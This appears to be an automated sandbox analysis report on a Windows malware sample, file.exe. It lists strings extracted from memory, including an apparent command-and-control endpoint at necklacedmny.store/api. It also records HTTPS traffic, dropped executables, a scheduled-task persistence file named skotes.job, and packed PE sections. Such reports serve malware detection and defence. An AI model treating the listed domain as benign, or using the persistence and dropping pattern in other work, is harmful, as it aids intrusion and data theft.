Source: file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2567892404.00000000052DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2851386876.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: file.exe, 00000000.00000003.2851386876.000000000099C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/1OlA
Source: file.exe, 00000000.00000003.2770153086.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2851794439.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2730513939.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850604178.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2593215196.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: file.exe, 00000000.00000003.2770153086.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2851794439.00000000009EC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2850604178.00000000009EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apivt9
Source: file.exe, 00000000.00000003.2593215196.00000000009E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store:443/api
Source: file.exe, 00000000.00000003.2570277943.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2570277943.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2200532015.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2570218492.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: file.exe, 00000000.00000003.2570218492.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000003.2570277943.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000003.2570277943.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2570277943.00000000055B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2587170125.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2587281433.00000000052CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 57119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57109
Source: unknown	Network traffic detected: HTTP traffic on port 57109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57134
Source: unknown	Network traffic detected: HTTP traffic on port 62421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62421
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:57109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:57119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:57134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:62420 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:62421 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.0.dr	Static PE information: section name:
Source: 08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe.0.dr	Static PE information: section name: .idata
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: section name:
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: section name: .idata
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name:
Source: skotes.exe.6.dr	Static PE information: section name: .idata
Source: skotes.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A09979	0_3_00A09979
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A09979	0_3_00A09979
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A09979	0_3_00A09979
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A09979	0_3_00A09979
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A09979	0_3_00A09979
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00A09979	0_3_00A09979
Source: C:\Users\user\AppData\Local\Temp\08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.exe	Code function: 5_2_0068E6BC	5_2_0068E6BC

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe A7A7406A24DA06B80D7C77021E731764A8217296B0B3E3B9730A2976B3218E66
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe A7A7406A24DA06B80D7C77021E731764A8217296B0B3E3B9730A2976B3218E66

Source: file.exe	Binary or memory string: OriginalFilename vs file.exe
Source: file.exe, 00000000.00000003.2819777746.0000000000B91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2833294673.0000000000BFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2825900757.0000000000BCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2834718046.0000000000AE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2834916278.0000000000BFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2816075106.00000000053DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2817998279.0000000000B72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2818164761.0000000000C0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2824526584.0000000000AEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2825159584.0000000000AE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2836443778.000000000573B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2828985793.0000000000BE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2831789216.0000000000BF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2852920288.0000000005739000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2835247158.0000000000AE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2831355142.000000000573C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2839296631.0000000000AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2835720148.000000000573F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2829250489.000000000573A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2837797589.000000000573F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2824781909.0000000000AE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2828774511.0000000000AE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2821911061.0000000000B96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2835558590.0000000000AE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2816998847.0000000000AEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2829666184.0000000000BE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2822172673.0000000000AEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2822465021.0000000000AE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2834360805.0000000005741000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2827899550.0000000000BDD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2823235617.0000000000BAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2849128294.0000000005392000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2829423436.0000000000AEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2822328441.0000000000BB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2819342302.0000000000B83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2823103727.0000000000AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2818756710.0000000000B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2825549206.000000000573B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2838929877.0000000000AE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2837031679.0000000000AEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2824390064.0000000000BB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2834006266.0000000000BF6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2826604775.0000000000BC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2819994827.0000000000AE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2832488457.0000000000BF4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2838284692.000000000573C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2821080585.0000000000AE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2836057762.0000000005736000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2820105237.0000000000B93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2829951121.0000000000AEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2830552874.0000000000AE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2819667706.0000000000AEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2835074685.0000000005733000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2817846320.0000000000AE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2839103229.0000000005739000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2849055216.0000000005315000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2825332231.0000000000BBC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2818608231.0000000000AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2830190433.0000000000BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2830872131.0000000000BEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2817766630.0000000000B7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2822592352.0000000000BA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2823506175.0000000000AED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2818913793.0000000000AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2828445358.0000000000AEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2832281125.0000000000AF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2839474900.0000000005741000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2838088844.0000000000AEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2850372473.00000000052B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2821471566.0000000000AE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2818489557.0000000000B90000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2835402075.0000000000C05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2832770668.0000000000AEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2821217035.0000000000B9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2821331064.0000000000C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2833639358.0000000000AE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2819551133.0000000000C31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2823371170.0000000005741000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2818378244.0000000000AE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2819884379.0000000000C3C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2823749404.0000000000AEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2838757310.0000000005738000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2823637813.0000000000BB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2827744288.0000000000AEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2827378026.000000000573C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2820914894.0000000000B9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2820787204.0000000000AE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2837202996.0000000005739000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2817394024.0000000000B81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2836841909.000000000573D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2836228010.0000000000AED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2826044661.0000000000AEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2826796021.0000000000AE4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2849463206.000000000529E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2836654106.0000000000AE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2838486432.0000000000AF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2825757579.0000000000AE7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2835882928.0000000000AE5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2827071519.0000000000BCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2850604178.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2828601144.0000000000BD8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2817497630.0000000000AE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2831609469.0000000000AF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2824945522.0000000000BB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2822044292.0000000000C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2837586273.0000000000AE8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2824645468.0000000000BBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9980836108934169
Source: YWOWNOLHBZPH3EQJI2TZBTF4JYVOK5.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9981852435286104
